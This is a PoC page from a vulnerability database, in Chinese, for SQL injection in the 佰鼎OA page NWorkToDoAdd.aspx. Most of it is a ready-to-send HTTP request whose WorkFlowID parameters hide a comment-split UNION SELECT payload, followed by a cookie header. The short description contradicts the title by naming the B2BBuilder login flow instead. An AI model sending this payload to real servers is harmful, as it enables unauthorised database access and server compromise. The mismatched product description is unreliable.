佰鼎OA NWorkToDoAdd.aspx-SQL注入

2021-01-19 佰鼎OA PoC Public

Description

【漏洞对象】B2BBuilder系统 【漏洞描述】B2BBuilder系统登录流程存在SQL注入漏洞，可造成信息数据泄露，攻击者可利用该漏洞执行SQL指令，甚至入侵服务器。

PoC

GET /NWorkFlow/NWorkToDoAdd.aspx?FormID=1&WorkFlowID=1/*&WorkFlowID=*/union/*&WorkFlowID=*/select%1esys.fn_sqlvarbasetostr(HashBytes('MD5','zgrbjafn'))-- HTTP/1.1
Host: 
Accept-Encoding: gzip
Connection: keep-alive
Cookie: atmail6=8fedjle9tspj7g60n018c7u1p9gcd66q; PHPSESSID=f13142c0b82012eed4c0c21f64a60314; TSb65ed265027=08fbc59b72ab200040b96dce8a86dbe65d9874437ac40926196410b9817d905565ac60f5421ab5a6087a866e27113000a4a4fad7030ad4f61286c30dd25915e211cfb55806b35822988fce6fd00649e6c1754fab6791be2d8abd310ad90550b3; ASPSESSIONIDSCDATCQD=FCKJMIMABAIEIHFCHAMGHDMM; JSESSIONID=CqkTFR-aZzHK1OMcgdDn5kkBou8uSeb_FGEA; libnet_id=m4bg6d7mbmelbmv13phppgl895; route=a7dcef3bb2d661a0ccea768068853fda; clientlanguage=zh_CN; ASP.NET_SessionId=vzlx4yv4akq1pzpzzkeumwqg; _xsrf=2|8f6c7f56|a093601ab92cbc26bc33678b47bd67eb|1750423006
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.
Source: https://www.ddpoc.com/DVB-2021-80.html

Related Vulnerabilities